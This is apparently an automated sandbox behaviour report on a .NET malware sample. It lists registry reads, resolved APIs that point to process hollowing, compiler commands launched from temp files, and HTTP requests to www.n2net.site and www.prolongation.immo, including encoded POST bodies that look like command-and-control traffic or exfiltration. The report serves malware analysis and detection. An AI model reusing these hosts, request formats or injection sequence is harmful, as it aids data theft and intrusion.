HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\jyeUi.jpg
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\5798A679
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\5798A679
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2

Write Keys

Nothing to display

Delete Keys

Nothing to display

Mutexes

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
clr.dll.SetRuntimeInfo
clr.dll._CorExeMain
mscoree.dll.CreateConfigStream
mscoreei.dll.CreateConfigStream
kernel32.dll.GetNumaHighestNodeNumber
kernel32.dll.GetSystemWindowsDirectoryW
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddSIDToBoundaryDescriptor
kernel32.dll.CreateBoundaryDescriptorW
kernel32.dll.CreatePrivateNamespaceW
kernel32.dll.OpenPrivateNamespaceW
kernel32.dll.DeleteBoundaryDescriptor
kernel32.dll.WerRegisterRuntimeExceptionModule
kernel32.dll.RaiseException
mscoree.dll.#24
mscoreei.dll.#24
ntdll.dll.NtSetSystemInformation
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
kernel32.dll.GetNativeSystemInfo
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
clrjit.dll.sxsJitStartup
clrjit.dll.getJit
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetUserPreferredUILanguages
nlssorting.dll.SortGetHandle
nlssorting.dll.SortCloseHandle
kernel32.dll.CloseHandle
kernel32.dll.GetCurrentProcess
kernel32.dll.GetTempPathW
ole32.dll.CoTaskMemAlloc
ole32.dll.CoTaskMemFree
kernel32.dll.GetFullPathNameW
cryptsp.dll.CryptGetDefaultProviderW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
kernel32.dll.SetThreadErrorMode
kernel32.dll.CreateFileW
kernel32.dll.GetFileType
kernel32.dll.WriteFile
kernel32.dll.GetFileAttributesExW
kernel32.dll.GetCurrentDirectoryW
kernel32.dll.GetStdHandle
kernel32.dll.GetEnvironmentStrings
kernel32.dll.GetEnvironmentStringsW
kernel32.dll.FreeEnvironmentStringsW
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
kernel32.dll.CreateProcessW
kernel32.dll.DuplicateHandle
kernel32.dll.GetExitCodeProcess
kernel32.dll.GetFileSize
kernel32.dll.ReadFile
kernel32.dll.DeleteFileW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
kernel32.dll.FindResourceA
kernel32.dll.SizeofResource
kernel32.dll.LoadResource
kernel32.dll.LockResource
gdiplus.dll.GdiplusStartup
kernel32.dll.IsProcessorFeaturePresent
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayMonitors
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipCreateBitmapFromStream
windowscodecs.dll.DllGetClassObject
kernel32.dll.WerRegisterMemoryBlock
gdiplus.dll.GdipImageForceValidation
gdiplus.dll.GdipGetImageRawFormat
gdiplus.dll.GdipGetImageWidth
gdiplus.dll.GdipGetImageHeight
gdiplus.dll.GdipBitmapGetPixel
shell32.dll.SHGetFolderPathW
kernel32.dll.CopyFileW
kernel32.dll.DeleteFileA
kernel32.dll.WideCharToMultiByte
kernel32.dll.CompareStringOrdinal
clr.dll.CreateAssemblyNameObject
ole32.dll.CoGetObjectContext
sechost.dll.LookupAccountNameLocalW
advapi32.dll.LookupAccountSidW
sechost.dll.LookupAccountSidLocalW
ole32.dll.NdrOleInitializeExtension
ole32.dll.CoGetClassObject
ole32.dll.CoGetMarshalSizeMax
ole32.dll.CoMarshalInterface
ole32.dll.CoUnmarshalInterface
ole32.dll.StringFromIID
ole32.dll.CoGetPSClsid
ole32.dll.CoCreateInstance
ole32.dll.CoReleaseMarshalData
ole32.dll.DcomChannelSetHResult
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
clr.dll.CreateAssemblyEnum
kernel32.dll.ResolveLocaleName
kernel32.dll.LoadLibraryA
kernel32.dll.GetProcAddress
kernel32.dll.GetModuleHandleA
advapi32.dll.LookupPrivilegeValueW
advapi32.dll.AdjustTokenPrivileges
ntdll.dll.NtQuerySystemInformation
kernel32.dll.CreateProcessA
kernel32.dll.GetThreadContext
kernel32.dll.Wow64GetThreadContext
kernel32.dll.SetThreadContext
kernel32.dll.Wow64SetThreadContext
kernel32.dll.ReadProcessMemory
kernel32.dll.WriteProcessMemory
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.VirtualAllocEx
kernel32.dll.ResumeThread
ole32.dll.CoUninitialize
oleaut32.dll.#500
advapi32.dll.EventUnregister
gdiplus.dll.GdipDisposeImage
cryptsp.dll.CryptReleaseContext
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
kernel32.dll.QueryActCtxW
kernel32.dll.GetProcessPreferredUILanguages
kernel32.dll.GetUserDefaultUILanguage
version.dll.GetFileVersionInfoSizeA
version.dll.GetFileVersionInfoA
version.dll.VerQueryValueA
alink.dll.CreateALink
mscoree.dll.CLRCreateInstance
mscoreei.dll.CLRCreateInstance
cryptsp.dll.CryptAcquireContextA
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptHashData
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
clr.dll.DllGetClassObjectInternal
clr.dll.StrongNameTokenFromPublicKey
clr.dll.StrongNameFreeBuffer
clr.dll.CompareAssemblyIdentityWithConfig
clr.dll.CreateAssemblyConfigCookie
clr.dll.DestroyAssemblyConfigCookie
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptExportKey
cryptsp.dll.CryptDestroyKey
mscorpehost.dll.InitializeSxS
mscorpehost.dll.CreateICeeFileGen
mscorpehost.dll.DestroyICeeFileGen
ole32.dll.CoCreateGuid
diasymreader.dll.DllGetClassObject
rpcrt4.dll.UuidCreate
kernel32.dll.NlsGetCacheUpdateCount
ole32.dll.CreateStreamOnHGlobal
mscoree.dll.CorExitProcess
mscoreei.dll.CorExitProcess

Execute Commands

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Seven01\AppData\Local\Temp\h5h0z0hh.cmdline"
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Seven01\AppData\Local\Temp\RESA9EC.tmp" "c:\Users\Seven01\AppData\Local\Temp\CSCC1D90F88F75D4528852EB0A66CA4D35C.TMP"

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven06_64 Seven06_64 VirtualBox 2018-07-10 00:18:26 2018-07-10 00:21:21 175

13 HTTP Request(s) detected

http://www.n2net.site/br/?YBZL=hcEMCaFR/YS71efP6efBFJgebeUmyl8lKDeir3FWCNDmJhKovO8HrOAbWYO8KyGQkhiL5gFP&6l=t8eT-n4PJVnxU
  • Hostname: www.n2net.site
  • IP Address: 91.238.161.172
  • Port: 80
  • Count: 1

GET /br/?YBZL=hcEMCaFR/YS71efP6efBFJgebeUmyl8lKDeir3FWCNDmJhKovO8HrOAbWYO8KyGQkhiL5gFP&6l=t8eT-n4PJVnxU HTTP/1.1
Host: www.n2net.site
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.prolongation.immo/br/?YBZL=mBR4o8wA1VZ0wmUD4LeQu+U/IoqEmwxM9YfijwPB9OUV0r8F+9OAW9VpOMhrHFKnG66+EKZN&6l=t8eT-n4PJVnxU
  • Hostname: www.prolongation.immo
  • IP Address: 81.169.145.85
  • Port: 80
  • Count: 1

GET /br/?YBZL=mBR4o8wA1VZ0wmUD4LeQu+U/IoqEmwxM9YfijwPB9OUV0r8F+9OAW9VpOMhrHFKnG66+EKZN&6l=t8eT-n4PJVnxU HTTP/1.1
Host: www.prolongation.immo
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.prolongation.immo/br/
  • Hostname: www.prolongation.immo
  • IP Address: 81.169.145.85
  • Port: 80
  • Count: 1

POST /br/ HTTP/1.1
Host: www.prolongation.immo
Connection: close
Content-Length: 2198
Cache-Control: no-cache
Origin: http://www.prolongation.immo
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.prolongation.immo/br/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

YBZL=ujdC2cYGuCoHvTtzyMb0xOc8M6WZwC9tsoeQpQyYwu5c4uIp6oG7GZg7GMsEZGuoQJLKc_AvhBQtcPXufsVB8QlocZbgG2YEmSPc0NQpRYai1dCsWI(hmafOHnemewj29HJsNNuU3pn1iqRZL7FeT0SZHzeL~-WqOX4WvOZuNNwmZI227b(5NhvWk2Fv9ojS~bOYF3(SZVeewRoqimT5Z_fTCdERWcOfWXV1DTDPmFWPbMKGsbeeVqnOs_Ll952J9NtkQAUacEWPa5xOpP8LXsgaqnobUxNVSSmSsk6kzQG3Wd5ZQkDUrnPM9nwjESt-ZuDfRHRCxN0RYNRxKJm5hwhdM6BaVh6dl1hvFMhyFzbRuK~LgAzeS_6rQsWntauhTp3ZHeAJ77e_K9K1s4E3pr4DZYLpBvo7AE0LQOe4jzvIq0VF(NoQjc2UUu4F7LfvC8vH9Bkxk-L9h3l3wEscOwbQkqKzyxip2pRqy1QKjhTPSu11wY(sxD~uYhZRBwWwXSI1Hv(ufGSaDnKPGb5tmX0WFJVaefQmSpFiN-TwfhTGF835FoHlxAfSYWnd2k58zq4n0Wv75PaPXLkimDIr17m0l2MfsH1nVPSxpr51uSs4pHcWqjG_KIGdis44mtOC~Z0z9zk91PQKbA(U8KZ6GkQHoaWXiM04ICMDwlo3JiHBxj7gZNXaSLFuEyFZBrQJw-Z0xLNWHnSUHemPyYz07XgZyXuEHZ8WiMgAFlmCZZWZ~MfjBJO9jF1YAjDVl1OZtNL2if1sh49GV1pr7XT2CQeX9b6-GUlOSPkO5DkCCo~AoK~7e1DqwdTd8lcaTzVbPwpblGlozmZ1lCfHVtvDa5xQHBOJoV~8BFpEJM4CQqPuIshgg7b40CGXhhM6CndSmRQ9p0AS0Kh0f5DICo~CQWCn5aY2fM~O5UAXG6gwE3I5KRrLos2cnoXTld4QcklARJAYHwaj9q65U9phR5WWjmKnf0aWVYRrVoGtAg(Oe5fLW8pFjAfxWZzIyxIeLoLgv-JimGRNqXoY2m1rN7R8iTXLT-H1~l4ER9azH83HZPJMxSv7WWZJRBXLxnQH5b9s0zdmHeTSnjAOzZAXBn8FWedtUfVl3ZDeuv5_PqbKZheS53PStBrfqCzqrv6g7Vdq2jr1W4w0Uh7c9VZCc982HO3LtB1EAzfyHk8jMizOUtFXKB~DAMDcA5mOrcR-oX0FN4JfDHmCCwalf3yZSaXVV9hJBVrfKSM9AsgsZ_TpnwudtssdxoHHCRKmFgjmR8x2Q116i-GDaJIF52ocinFuFTJaGkH0L_wTAYwav-jBD5X92cLbnVX35uV1K2hv~421QffFalTn5F06n3S6YZ(KJVjtETEmNVRKM2rlqHdSCHQQfBXxLxtBZGWfiMJXqO2_pEYq0G6hr7Ik87Do02gvdqlArhgFq_qwrjpaoY5sHRx6B6pZ(a39~L~nzr052HKxG9t-~-3dgoqOiMOfORxzBS0cvMIxI9UVecLbPImAlBOKKFVzmmLzrDxNKL86LyQYC139i5sq8DkF3xfwQUO1BcntqlmRjIwxSPBqgiD6TDpqjSjsTc81XfRGCNmfHZupGSResh3BuIslJDZywtTXY8b0F7tHG9ktJlVrc_KlrDcK67U9tGvTrJb-HvT5aKvgGTLIuww18wa3QEGzt3ojO0T7Aj15JfS-Tpb7Lqurh_2_TXEv0aOTFPMYaoQdojeNoOC-ieYJffZyTYMdtDv9Mtp4kFy_DDjBVU31yooIWmXVbaTSt3xzbUuNViW1WYzp3odbKsOKd-LxpD1X9Dqd8_KtY6~76gsNnnTJVrDTFTlYHV8fjHc8BRMxLj6hoIP5gFKNMbNtBxHF~1DG(1UmHNVG4NIbKRyQH1ESQTzx3ODgcq(FhwmGrXhF4ltR0QDSfVG4NgM1FvLhvJpCIHfljdL9HGBYYAWvwJ(H(ZS6GyaUOOUWPob7GWmBlKpa2K(wRV63ocvEHmJA50t6B5E_R9JW4plAWEnfOrMWQ1295eSQ4aR5nop3Vkx6XkCHPqDkhCEpi7KF4Sxp7atvBLmQQnS99JNhzhJ45jTVBWb1Y3oXw2i3E60cIqJtGinpK4TZOQOx2KWrsbn-VenLsCGxPvcGLEe5N2p7uLopsN7LfJX1PIipfnuhG5J8y3FxgjR-CBsBUTJI4rIG\x00\x00\x00\x00\x00\x00\x00\x00

http://www.prolongation.immo/br/
  • Hostname: www.prolongation.immo
  • IP Address: 81.169.145.85
  • Port: 80
  • Count: 1

POST /br/ HTTP/1.1
Host: www.prolongation.immo
Connection: close
Content-Length: 57162
Cache-Control: no-cache
Origin: http://www.prolongation.immo
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.prolongation.immo/br/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

YBZL=ujdC2Zt1s01DkxUBldLks6gFHqDUvA9Ss_T7pTqDp_oT9OYpr7~wKZg0X8sFdGycd67Cc6gWhBouBNvvXvwJjw5UEdL5VkwFm3P6zI0pM4~g(urwV6bt8aDMPFevQjHL8lloOIS49Jvin-kXKexCO0WafiKN(dimPVQOjuB9S_ssfb(c7a7uWSnj2XBUn5SlpKKYHk~JT2mc(ywyvV7ufOvqK80KasuYXSBleiXCgH2DMs6Ur7avSKWu4JK98t(J8IF8eBULRW6DC48ntsxGXdQwjBobeAtXRX7dvE7w(0qzDN5xQk3crVSzyHxpKwZhcOLXajdox_MReeJYa8y9uQgFOrtJDWSCl1wmDspyXh(RlKuKzQzeEP6pQsXqtauYTrndGeYJsKi9Y_uFprZM375MYdnJFsd1AHUTQvy4nDbLuVFB5coPt9SEdOgV7LTiD9~u6jgdl-Krpn4z6lsAVyCK4Z6A(hnC2JEqxVoGii2UKegIm6T48SOJSCtJfSTEGCdOCNb8XmmuDRmvA_BD6nZic54TPvgJDrkyOOneGTrSBs7qBaD50h35S0rfzBR5i54ggzvE6PeEdYwdlmAJxoOcyit9jm9gcKe767AXp1txhV84yjqMPq~nxuMA3ZPG2ZE1ywcwwvw_Rz(c0OZaFVQNrqKPlNdSHCZV0CEODhq5oC(CU876F7k_DhsIGPEb4-xL5LFXE2XsXa6j5KvX8gMwuWC6Hrl8iMoEZFyCLqaZ6P3gAvG60l0RODDJqVDKtLHqwP5s1blEU0pxq333NwefuK26CUFzSKdX4CI4Gq(WtInTd1D0(ZS-6lBUdTFxPA9xris1xkBlgVzCTJP-e9FqGhzWm3bQJhwPN-hHfIviHvsbm5nK6h~GrEh-IVx9gz4b(3Nks8dvXvfPCJ3nNmPD8a4fYazv0HgEHaFRNmkREwGX6Na-j8zulNg-cGBmX989egiP7a3nV5oSTOfCl3zJeUPqa5Irf7~jDTf8coHqRZtTshzaO8nuzTkkf5TmwMVe~mw9vAAp3wtXGsgZlgHzUuTDzHEkeu6IBLr-V8Fb3n3TbXkUTh~o4RIm0ZN8r0JvOIOQqnMBjYEnazo9QZoPav9-gIDUuupFPPzKKBWSr1HSqD(M0gX4rf2LykZtzgfrUapuT3(vsAhLU8FPBY~qpwBRWDrZBU0rACb5Ur5XKi68Vd6-B4rUo_B6ynUSGtZLeXy7PiCFOAfiOoLqNfRkMByJLC80IvVfa7rImhCr~cEIyqeXNBGwQg7aT9BrPlVopta0V_Urg1EazhMiQhZoNmbhPd8lDYYdqfryVIOK~-(Cunvh1sBUNGBgweuBbO(y